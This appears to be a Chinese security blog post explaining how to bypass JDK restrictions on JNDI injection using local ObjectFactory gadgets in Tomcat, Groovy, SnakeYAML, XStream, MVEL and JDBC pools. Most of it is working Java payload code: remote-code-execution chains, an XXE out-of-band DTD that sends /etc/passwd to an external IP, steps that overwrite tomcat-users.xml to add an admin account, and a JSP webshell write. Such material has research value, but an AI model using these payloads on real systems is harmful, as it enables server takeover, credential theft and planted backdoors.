JNDI Attack 高版本bypass

概述

限制

以下JDK版本之后出现了针对trustURLCodebase的限制,即默认不允许加载远程ObjectFactory:

  • RMI:6u132, 7u122, 8u113
  • LDAP:11.0.1, 8u191, 7u201, 6u211

绕过思路

绕过思路主要就是触发JDNI注入的过程中会触发受害机ObjectFactory实现类的getObjectInstance()方法,既然高版本不适用加载远程ObjectFactory,那么就是用本地ObjectFactory,常用的绕过有:

  1. 基于Tomcat依赖中的BeanFactory⭐⭐
  2. 基于Tomcat中的MemoryUserDatabaseFactory
  3. 基于JDBC-RCE。
  4. 基于反序列化。

利用BeanFactory

简单看一下BeanFactory#getObjectInstance()的处理过程,首先获取Reference类名(必须是ResourceRef)并load类,如果上下文中没有ClassLoader就用SystemClassLoader。

下一步使用java.beans.Introspector对beanclass进行解析,获取bean中的所有属性,然后拿Reference类的forceString,并对其value以 ,进行split。

然后遍历split出来的hashmap,获取其setter方法

最后直接反射调用setter方法

处理逻辑其实是:

  1. 取出forceString的值,按照,分割为不同的method,=分割为param与propName。
  2. 将propName作为方法名反射获得一个参数为String.class的方法。
  3. 取出Addrs中param的值,并作为参数赋予propName方法执行。

例如:

1
2
3
4
5
6
ResourceRef ref = new ResourceRef("org.example.Demo", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "<param>=<propName>")); //参数 = 方法
ref.add(new StringRefAddr("<param>", "paramValue"));
return ref;
//等同于 new org.example.Demo().propName("paramValue")

所以总结出来可利用类的要求就是

  • 类必须在本地依赖或者JDK自带。
  • 可以调用的是public无参构造方法,并且参数只能有一个String。

顺着这个思路在常用的依赖中查找,有以下几个可利用的地方:

  • javax.el.ELProcessor#eval()
  • groovy.lang.GroovyShell#evaluate() / (GroovyClassLoader)
  • org.yaml.snakeyaml.Yaml#load()
  • com.thoughtworks.xstream.XStream#fromXML()
  • org.mvel2**.MVEL**#eval()
  • com.sun.glass.utils.NativeLibLoader#()

javax.el.ELProcessor#eval() [RCE]

执行EL表达式RCE

1
2
3
4
5
6
7
8
9
10
11
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
return ref;

//等同于
/**
new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")
**/

groovy.lang.GroovyClassLoader#evaluate() [RCE]

顾名思义,利用groovy依赖自定义类加载。

1
2
3
4
5
6
7
8
        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "gungnir=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef gungnir\n", "calc.exe");
resourceRef.add(new StringRefAddr("gungnir",script));
//等同于
/**
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef gungnir\n", "calc.exe")
**/

当然也可以直接GroovyShell执行。

org.yaml.snakeyaml.Yaml#load() [RCE]

加载解析yaml字符串,实现类方法的调用,例如URLCLassLoader。

1
2
3
4
5
6
7
8
9
10
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;

com.thoughtworks.xstream.XStream#fromXML() [RCE]

XML反序列化打本地反序列化链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;

org.mvel2**.MVEL**#eval() [RCE]

通过 ShellSession.exec(String) 去执行push命令,从而解析MVEL表达式。

1
2
3
4
5
6
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;

javax.management.loading.MLet [类探测]

只能执行到loadClass(),仅仅加载没有初始化或实例化,因此只能探测类是否存在无法直接RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
//等同于
/**
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");
**/

com.sun.glass.utils.NativeLibLoader#() [外部库加载RCE]

参考:https://tttang.com/archive/1489,有可用的上传接口比较方便,稳定实现较复杂。

利用MemoryUserDatabaseFactory

这个类也实现了ObjectFactory,其getObjectInstance()方法调用一系列setter对pathname、readOnly等属性赋值,然后就会调用open()方法,如果readOnly为false则调用save()进行存储。

首先看open()方法:

open()方法会把pathname转换为URI并发起连接请求,然后使用Digester进行XML解析。

再看save(),它则是直接打开了写入流,将XML解析出来的role、user等键值写入,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public void save() throws Exception {
if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
} else if (!this.isWriteable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}

this.writeLock.lock();
try {
try {
FileOutputStream fos = new FileOutputStream(fileNew);
Throwable var3 = null;

try {
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF8");
Throwable var5 = null;

try {
PrintWriter writer = new PrintWriter(osw);
Throwable var7 = null;

try {
writer.println("<?xml version='1.0' encoding='utf-8'?>");
writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
writer.print(" ");
writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
writer.print(" ");
writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
writer.println(" version=\"1.0\">");
Iterator<?> values = null;
values = this.getRoles();

while(values.hasNext()) {
writer.print(" ");
writer.println(values.next());
}

values = this.getGroups();

while(true) {
if (!values.hasNext()) {
values = this.getUsers();

while(values.hasNext()) {
writer.print(" ");
writer.println(((MemoryUser)values.next()).toXml());
}

writer.println("</tomcat-users>");

XXE

既然发起远程连接并且对XML进行了解析,那就存在XXE漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
resourceRef.add(new StringRefAddr("pathname","http://vps:port/exp.xml"));
return resourceRef;

/**exp.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://101.33.203.2:8000/oob.dtd">
<data>&send;</data>
**/

/**oob.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.33.203.2:5000/?%file;'>">
%all;
**/

添加后台用户

Tomcat后台用户的账户密码在文件<CATALINA.BASE>/conf/tomcat-users.xml中可以进行配置,相关配置内容是

1
2
3
<user username="tomcat" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/>
<user username="both" password="tomcat" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/>
<user username="role1" password="tomcat" roles="role1"/>

前面讲到open()时提到,它会把XML解析出来的账户直接写入,写入的内容我们可控,写入路径这里我们就遇到问题了,写入路径的处理逻辑是直接拼接catalina根目录与pathname: fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);,但我们使用远程URI的话就会出现http://等字符,拼接出来就是<CATALINA.BASE>/http://1.1.1.1:2222/conf/tomcat-users.xml,这时路径不存在是非法的,这时候就可以使用路径穿越的方式获取到xml文件:<CATALINA.BASE>/http://1.1.1.1:2222/../../conf/tomcat-users.xml

这时候还有一个问题,那就是路径http:/1.1.1.1:2222不存在,路径穿越也是不合法的,解决的办法就是借用创建目录的方法将http:/1.1.1.1:2222创建出来,这里使用到的是org.h2.store.fs.FileUtils#createDirectory()。最后就可以覆盖tomcat-users.xml了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//step1: create dir
private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:")); //工作目录在CATALINA.BASE/bin因此目录要往前跳一级。
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/vps:8888"));
return ref;
}

//step2: write in user fake_manager:123456
private static ResourceRef tomcatManagerAdd() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://vps:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}

/** tomcat-users.xml in http://vps:8888/conf/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="tomcat"/>
<role rolename="role1"/>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager"/>
<role rolename="admin-gui"/>

<user username="fake_manager" password="123456" roles="tomcat,role1,manager-gui,manager-script,manager-jmx,manager,admin-gui"/>

</tomcat-users>
**/

然后就是进后台部署war,不多说。

写webshell

上一小节其实已经实现了任意文件写,因此也可以直接向网站根目录写入webshell,原理一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//step1 create dir ...

//step2 write in
private static ResourceRef tomcatWriteFile() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}

/** shell.jsp in http://vps:8888/webapps/ROOT/test.jsp
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;/System/Applications/Calculator.app/Contents/MacOS/Calculator&#x22;); %&#x3e;"/>
</tomcat-users>
**/

利用JDBC

dbcp

同样的还是找ObjectFactory,利用JDBC可以主动发起恶意数据库连接,只需要一个String类型的参数即可,注意类org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory,其getObjectInstance()方法经过层层调用会来到BasicDataSource#createDataSource()即发起数据库连接。

dbcp工厂类要依据本地classpath依赖来决定,存在多种,比如不是Tomcat时可以尝试使用commons-dbcp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

tomcat-jdbc

dbcp用不了时,可以尝试tomcat-jdbc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static Reference tomcat_JDBC_RCE(){
return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

druid

原理同dbcp,DruidDataSourceFactory也可以发起数据库连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static Reference druid(){
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}

REF


JNDI Attack 高版本bypass
http://example.com/2023/06/03/JNDI Attack 高版本bypass/
Author
springtime
Posted on
June 3, 2023
Licensed under